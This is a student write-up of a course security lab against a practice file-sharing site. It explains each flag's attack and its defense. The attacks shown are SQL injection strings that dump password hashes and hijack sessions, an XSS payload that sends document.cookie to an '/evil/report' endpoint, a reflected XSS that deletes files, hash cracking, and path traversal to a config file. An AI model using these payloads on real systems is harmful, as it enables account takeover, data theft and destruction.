Project 3

**Flag 3: shomil**
To be able to obtain shomils md5_hash, we exploit the SQL-vulnerability when searching for files. The SQL Query in the search field probably looks something like this: Select FileName From Files Where FileName LIKE '%S'. By inputting the following: ' UNION Select md5_hash From Users' the query returns md5_hashes in the database, including shomil's. This is called a SQL injection attack.

To defend against this vulnerability, we can use prepared statements with parameterized queries. This forces the developer to first define all SQL-code and then input the parameters, which causes input to be treated as a variable and never as SQL code. Another option is to escape the user's inputs, so it will always be treated as strings and not code.

**Flag 4: nicholas**
You get a valid session-token when login into the web page. This cookie can be seen in Google Chrome by pressing Inspect -> Application -> Cookies. When you do different requests on the site (search for files, share etc) you make a request to the server to make sure your session token is valid. The SQL-Query backend might look something like this:
SELECT Username FROM Sessions WHERE token = 'token_from_web'. We can change the token in the web page to ' UNION SELECT 'nicholas, which returns the user nicholas. We are now logged into Nicholas' account. This attack uses SQL injection.

This vulnerability is quite similar to the previous one. To avoid SQL injections we could use prepared statements with parameterized queries. This way, the input cant change the query. This vulnerability could also be prevented by only storing the session tokens in memory, and not in the database.

**Flag 5: cs161**
To leak *cs161*'s we use XSS (Cross Site Scripting), which injects malicious scripts into otherwise trusted websites. By renaming a file to '<script>fetch('/evil/report?message='+document.cookie)</script>' we can leak the logged in user's cookie. If we share this file with the target user (*cs161*), they will unknowingly send a request to the /evil/report-page with the user's cookie as the message variable the next time they try to render their files.

We can defend against XSS with HTML-sanitization. With this approach, we create sequences that represent "dangerous" characters as data, rather than HTML. For instance, instead of '<' we can use '&lt'. In our case, the '<script>'-input would be sanitized, and cause no harm.
We can also defend against XSS with CSP (Content Security Policy) which disallows JavaScript code directly in HTML. This prevents inline XSS. One could also only allow scripts to be run from certain domains, which prevents XSS linking to external scripts.

**Flag 6: delete**

The way the program is deleting files is by creating a post request at https://box.cs161.org/site/deleteFiles. We could perform a reflected XSS attack, which is when a malicious script is reflected off a website to victim. When searching for files in the List Files site, the query (search) is put into the URL. So by putting our malicious line, <script>fetch("https://box.cs161.org/site/deleteFiles",{method:"POST"})</script>, in the search bar

and submitting, we get a malicious URL in , https://box.cs161.org/site/search?term=%3Cscript%3Efetch%28%22https%3A%2F%2Fbox.cs161.org%2Fsite%2FdeleteFiles%22%2C%7Bmethod%3A%22POST%22%7D%29%3C%2Fscript%3E. This could be sent to the victim. This makes the HTML run the malicious code.

We can defend against XSS with HTML-sanitization. With this approach, we create sequences that represent “dangerous” characters as data, rather than HTML. For instance, instead of ‘<’ we can use ‘&lt’. In our case, the ‘<script>’-input would be sanitized, and cause no harm. A web firewall could also be up to avoid some Post requests.

**Flag 7: admin**

To get access to the admin panel, used the tip that people reuse passwords. We first found the username of the admin, which is uboxadmin, consequently we could retrieve his password hash, which is fc5e038d38a57032085441e7fe7010b0. This was done by querying ‘UNION SELECT username FROM users’ and ‘UNION SELECT md5_hash FROM users’ in the list file search. When we used a reverse md5 hash converter to get the password “helloworld”. This is called a hash directory attack.

To defend against the retrieval of the hash, we can use prepared statements with parameterized queries. This forces the developer to first define all SQL-code and then input the parameters, which causes input to be treated as a variable and never as SQL code. Another option is to escape the user's inputs, so the input will always be treated as strings and not code. Adding a salt before hashing the password would make it harder to use a hash directory attack because it is not possible to use an already created directory. Also, use a better and more secure password…

**Flag 8: Leak some secret configuration variables**

The way this problem was solved was by looking at the file structure, and performing a path traversal attack. Since we were not able to just open https://box.cs161.org/site/config/config.yml like the other files, we would have to find a way to bypass this. Since the Get request url for files are https://box.cs161.org/site/file/[filename], we could get into /site/config/config.yml by using ../config/config.yml as the filename. The “/” would be converted to %2F.

To defend against this attack one way could be that the API is not able to return files that should normally be secret, and so that no one using the website has access to the file. Another way could be by validating the input and that it only contains “allowed” values, and not things like “../” and the URL encoded equvialent, this way they will never be able to they’ll never be able to traverse out of the folder they are currently in. For instance, you could have a blacklist over “illegal” inputs.